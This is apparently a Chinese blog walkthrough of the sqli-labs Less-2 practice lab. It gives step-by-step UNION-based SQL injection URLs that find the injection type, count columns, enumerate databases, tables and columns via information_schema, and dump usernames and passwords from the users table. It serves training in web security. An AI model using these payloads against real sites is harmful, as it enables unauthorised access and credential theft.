文章目录

  • 网址
  • 解法
  • 传入id=1查看页面回显
  • 第一步:判断注入类型。如字符型,数值型
  • 第二步:判断表字段数(使用order by)
  • 第三步:使用union select 1,2,3联合查询语句查看页面是否有显示位
  • 第四步:利用sql查询语句爆破出数据库内的数据库名
  • 第五步:利用sql查询语句爆破出security数据库内的表名
    • 使用group_concat()函数全部查询
    • 使用limit函数逐一查询
  • 第六步:利用sql查询语句爆破出users数据表内的列名
    • 使用group_concat()函数全部查询
    • 使用limit函数逐一查询
  • 第七步:利用sql查询语句爆破出username、password列的值

网址

https://sqli.wmcoder.site/sqli-labs/Less-2/

解法

传入id=1查看页面回显

https://sqli.wmcoder.site/sqli-labs/Less-2/?id=1

第一步:判断注入类型。如字符型,数值型

数字型判断:
当输入的参 x 为整型时,通常 abc.php 中 Sql 语句类型大致如下:
select * from <表名> where id = x
这种类型可以使用经典的 and 1=1and 1=2 来判断:
Url 地址中输入 http://xxx/abc.php?id= x and 1=1 页面依旧运行正常,继续进行下一步。
Url地址中继续输入 http://xxx/abc.php?id= x and 1=2 页面运行错误,则说明此 Sql 注入为数字型注入。
原因如下:

  • 当输入 and 1=1时,后台执行 Sql 语句:select * from <表名> where id = x and 1=1没有语法错误且逻辑判断为正确,所以返回正常。
  • 当输入 and 1=2时,后台执行 Sql 语句: select * from <表名> where id = x and 1=2 没有语法错误但是逻辑判断为假,所以返回错误。
  • 我们再使用假设法:如果这是字符型注入的话,我们输入以上语句之后应该出现如下情况:
    select * from <表名> where id = 'x and 1=1'
    select * from <表名> where id = 'x and 1=2'
    查询语句将 and 语句全部转换为了字符串,并没有进行 and 的逻辑判断,所以不会出现以上结果,故假设是不成立的。

经过语句and 1=2测试 ,页面回显易常,所以该地方是数值查询。

https://sqli.wmcoder.site/sqli-labs/Less-2/?id=1 and 1=1

https://sqli.wmcoder.site/sqli-labs/Less-2/?id=1 and 1=2

第二步:判断表字段数(使用order by)

使用order by语句判断该表中一共有几列数据。order by 3页面回显正常,order by 4页面回显不正常,

https://sqli.wmcoder.site/sqli-labs/Less-2/?id=1 order by 3--+

https://sqli.wmcoder.site/sqli-labs/Less-2/?id=1 order by 3--+

第三步:使用union select 1,2,3联合查询语句查看页面是否有显示位

发现页面先输出了2和3,说明页面有2个显示位。

https://sqli.wmcoder.site/sqli-labs/Less-2/?id=1 and 1=2 union select 1,2,3 -- limit 0,1


接下来查看数据库名和版本号

https://sqli.wmcoder.site/sqli-labs/Less-2/?id=1 and 1=2 union select 1,database(),version() --+

第四步:利用sql查询语句爆破出数据库内的数据库名

https://sqli.wmcoder.site/sqli-labs/Less-2/?id=1 and 1=2 union select 1,group_concat(schema_name),3 from information_schema.schemata -- limit 0,1

第五步:利用sql查询语句爆破出security数据库内的表名

使用group_concat()函数全部查询

通过mysql数据库中的information_schema数据中的tables表来查询所有的表相关信息
由于上面已经爆破出数据库名security,可以直接这样爆破

https://sqli.wmcoder.site/sqli-labs/Less-2/?id=1 and 1=2 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' --+


如果上一步没有爆破数据库名,也可以这样爆破

https://sqli.wmcoder.site/sqli-labs/Less-2/?id=1 and 1=2 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() --+

使用limit函数逐一查询

SQL语句,limit有两个参数,第一个参数表示从第几行数据开始查,第二个参数表示查几条数据,“limit 3,2”表示从第四行数据开始,取两条数据。

https://sqli.wmcoder.site/sqli-labs/Less-2/?id=1 and 1=2 union select 1,table_name,3 from information_schema.tables where table_schema=database() limit 0,1 --+

https://sqli.wmcoder.site/sqli-labs/Less-2/?id=1 and 1=2 union select 1,table_name,3 from information_schema.tables where table_schema=database() limit 1,1 --+


查出表为emails,referers,uagents,users。明显users表是用来保存用户密码的。

第六步:利用sql查询语句爆破出users数据表内的列名

使用group_concat()函数全部查询

https://sqli.wmcoder.site/sqli-labs/Less-2/?id=1 and 1=2 union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='security' and table_name='users' --+

使用limit函数逐一查询

https://sqli.wmcoder.site/sqli-labs/Less-2/?id=1 and 1=2 union select 1,column_name,3 from information_schema.columns where table_schema='security' and table_name='users'  limit 0,1 --+

https://sqli.wmcoder.site/sqli-labs/Less-2/?id=1 and 1=2 union select 1,column_name,3 from information_schema.columns where table_schema='security' and table_name='users'  limit 1,1 --+

第七步:利用sql查询语句爆破出username、password列的值

https://sqli.wmcoder.site/sqli-labs/Less-2/?id=1 and 1=2 union select 1,group_concat(username), group_concat(password) from security.users --+


成功!

【less-2】sqli-labs靶场第二关相关推荐

  1. SQLi LABS Less 27a 联合注入+布尔盲注+时间盲注

    第27a关是双引号字符型注入: 过滤了注释(/* -- #),关键字(select union),空格: 这篇文章提供联合注入.布尔盲注.时间盲注三种解题方式. 其他 SQLi LABS 靶场的解题步 ...

  2. SQLi LABS Less 27 联合注入+报错注入+布尔盲注+时间盲注

    第27关是单引号字符型注入: 过滤了注释(/* -- #),关键字(select union),空格: 这篇文章提供联合注入.报错注入.布尔盲注.时间盲注四种解题方式. 其他 SQLi LABS 靶场 ...

  3. SQLi LABS Less 26a 联合注入+布尔盲注

    第26a关是单引号+括号的字符型注入: 后台过滤了关键字( and  or ),注释(/*  #  --  /),空格: 这篇文章提供联合注入.布尔盲注.两种解题方式. SQLi LABS其他关卡可以 ...

  4. SQLi LABS Less 25 联合注入+报错注入+布尔盲注

    第二十五关单引号字符型注入: 过滤了关键字(and.or),可以使用双写绕过: 这篇文章提供了联合注入.报错注入.布尔盲注三种解题方法. SQLi LABS 其余关卡可参考我的专栏:SQLi-LABS ...

  5. sql 字符串比较大小_SQL简单查询第二关

    第二关目录大纲: 1.基本的查询语句 2.指定查询条件 3.注释和sql语句注意事项 4.运算符 5.字符串模糊查询 一.基本的查询语句 select <列名1>,<列名2>, ...

  6. sqli-labs第一关和第二关

    sqli-labs 第一关 一.首先确定是否存在注入 二.找到回显位置 三.在回显位置使用函数或者语句来获取信息 第二关 一.首先确定是否存在注入 二.找到回显位置 三.在回显位置使用函数或者语句来获 ...

  7. 最新cocos2d-x 3.0博客教学 小游戏[史上最坑爹的游戏] 003第二关:点击绿色按钮100下

    昨天做了[关闭卡死的电脑]这个关卡今天要做的是点击绿色按钮100下,这游戏真的坑爹,看你能不能玩过关,哈哈哈. 这关做起来比较简单游戏逻辑也比较简单,直接上第二关的源代码,注意最后面又当天的源码下载 ...

  8. 数学建模国赛 2020B-穿越沙漠 第二关至第六关思路分享

    穿越沙漠第二关至第六关思路 开始讲题之前唠嗑一下: 很感谢所有读者和粉丝对上一篇的第一关解题博文的喜欢,也收到很多人的称赞,我很高兴大家能喜欢我写的东西. 其实这道题的模型在建立之处就是对着六关通用的 ...

  9. SQL注入闯关第二关---第四关

    目录 第二关Less-2:GET - Error based - Intiger based 1.判断注入点类型 2.使用order by猜测字段数,根据第一关,字段数为3: 3.联合查询获取显示位置 ...

最新文章

  1. 内存泄漏和内存溢出有什么区别
  2. Memcache 安装与使用
  3. jdk jenkins 配置ant_安装配置maven、ant(Jenkins)
  4. MySQL查询的进阶操作--分页查询
  5. csv文件设置每个cell大小_Python对文本文件和Excel的处理机制
  6. VSCode 汉化、设置为 中文语言显示 、中文界面
  7. 全网最详细 TCP 参数讲解,再也不用担心没有面试机会了......
  8. MySQL的replace()函数
  9. 谷歌浏览器提示应用程序无法启动
  10. win10 java模拟鼠标_[pc玩家]如何在Windows10中用键盘控制鼠标光标
  11. 快速生成不重复的卡号
  12. 解决win10下PPT打不开,显示内容有问题,提示修复但修复不成功
  13. Qt学习总结之QTableWidget表格填充
  14. 悦诗风吟网络营销的目标_悦诗风吟七彩泥膜术线上推广方案
  15. 如何编辑程序(一个简单的程序)
  16. Android 画廊控件Gallary
  17. notepad++ 分隔符SOH,在Linux中具体的对应字符
  18. Python实现孤立森林(IForest)+SVR的组合预测模型
  19. javaee入门笔记2
  20. 织梦插件织梦CMS百度收录查询及批量推送未收录插件

热门文章

  1. 学习拾遗--用RadioButtonList 或者DropDownList 进行动态赋值问题
  2. 【网络流24题】[CTSC1999]家园
  3. 终极解决办法rvct Cannot obtain license for Compiler (feature compiler) with license version = 3.1...
  4. 7 练习1 -基础练习
  5. [UE4]函数和事件的区别
  6. js,vue.js一些方法的总结
  7. [Java] 内部类总结
  8. Beagle 0.2.16(附 Ubuntu Edgy 安顿源)
  9. 数据库和 MIDP,第二部分:数据映射
  10. 走进我的交易室01_引子